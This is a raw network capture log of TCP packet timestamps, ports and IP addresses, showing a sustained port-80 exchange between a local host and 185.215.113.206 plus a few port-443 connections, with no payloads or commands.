Nov 23, 2024 09:16:57.711968899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.712130070 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:57.712136030 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:57.712477922 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:57.712846041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.712901115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.713035107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.713087082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.713934898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.713990927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.714044094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.714104891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.715032101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.715086937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.715118885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.715167046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.716109991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.716160059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.716233969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.716276884 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.717175007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.717227936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.717278957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.717443943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.718288898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.718343973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.718400002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.718471050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.719352961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.719408035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.719458103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.719504118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.720429897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.720483065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.720536947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.720582008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.721533060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.721602917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.721631050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.721836090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.722608089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.722676992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.722706079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.722820997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.723687887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.723746061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.723776102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.723819017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.724796057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.724859953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.724980116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.725025892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.725871086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.725938082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.725965977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.726140976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.726936102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.727029085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.727046013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.727119923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.728034973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.728123903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.728169918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.729144096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.729212999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.729227066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.729265928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.730185986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.730259895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.730276108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.730340004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.731270075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.731324911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.731380939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.731569052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.732383013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.732477903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.732541084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.733453035 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.733524084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.733686924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.733726978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.734538078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.734596014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.734663963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.734767914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.735620975 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.735690117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.735724926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.735774040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.736731052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.736788034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.736849070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.736895084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.737812042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.737864017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.737922907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.738125086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.738879919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.738934040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.738995075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.739093065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.739964962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.740084887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.740124941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.741034985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.741107941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.741164923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.742139101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.742197990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.742270947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.742310047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.743215084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.743321896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.743374109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.744296074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.744441032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.744492054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.745368958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.745524883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.745572090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.746450901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.746536970 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.746561050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.746599913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.747541904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.747627974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.747653961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.747688055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.748663902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.748718977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.748784065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.748851061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.749696016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.749814034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.749866009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.750790119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.750916958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.750963926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.751879930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.751941919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.752006054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.752207994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.752954006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.753026009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.753053904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.753140926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.754018068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.755467892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.759335041 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:57.776326895 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.776348114 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.776505947 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.776521921 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.776551962 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.776604891 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.777750969 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.777769089 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.778161049 CET	49906	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.778213024 CET	443	49906	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.778413057 CET	49906	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.778847933 CET	49906	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.778866053 CET	443	49906	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.837110043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.837212086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.837225914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.837347984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.837601900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.837663889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.837707996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.837752104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.838690996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.838747978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.838789940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.838829041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.839761019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.839819908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.839863062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.839910030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.840842962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.840960979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.841022968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.841928959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.841986895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.842004061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.842061043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.843014956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.843048096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.843074083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.843096018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.850508928 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.850572109 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.850644112 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.850661039 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.851439953 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.851514101 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.851664066 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.851666927 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.851959944 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.852200985 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.852274895 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.852497101 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.857238054 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.857254028 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.857352018 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.857352018 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.858144999 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.858202934 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.858401060 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.858505011 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.871967077 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.871990919 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.906182051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.906251907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.906336069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.906378984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.906689882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.906729937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.906797886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.906837940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.907797098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.907835960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.907907963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.908890963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.908930063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.909007072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.909046888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.909949064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.910001993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.910065889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.910113096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.911062956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.911086082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.911113977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.911137104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.912122965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.912228107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.912271976 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.913197994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.913242102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.913306952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.913347960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.914372921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.914422035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.914577007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.914617062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.915393114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.915435076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.915513992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.915551901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.916486025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.916579008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.916630030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.917612076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.917653084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.917730093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.917768955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.918878078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.918891907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.918922901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.918936968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.919795990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.919919968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.919936895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.919951916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.920844078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.920883894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.920964956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.921005964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.921940088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.921973944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.921984911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.922005892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.923067093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.923108101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.923237085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.923278093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.924089909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.924220085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.924267054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.925148964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.925192118 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.925259113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.925298929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.926242113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.926285028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.926347971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.927401066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.927448034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.927504063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.927545071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.928394079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.928446054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.928495884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.928544998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.929474115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.929516077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.929568052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.929610014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.930586100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.930634975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.930670977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.930746078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.931632042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.931729078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.931755066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.931799889 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.932769060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.932832003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.932887077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.932925940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.933809996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.933856964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.933917999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.934024096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.934885979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.934932947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.935026884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.935127974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.935973883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.936026096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.936073065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.936115980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.937277079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.937316895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.937402964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.937454939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.938155890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.938203096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.938256979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.938294888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.939275980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.939338923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.939371109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.939413071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.940342903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.940449953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.940462112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.940486908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.941399097 CET	80	49816	185.215.113.206	192.168.2.6
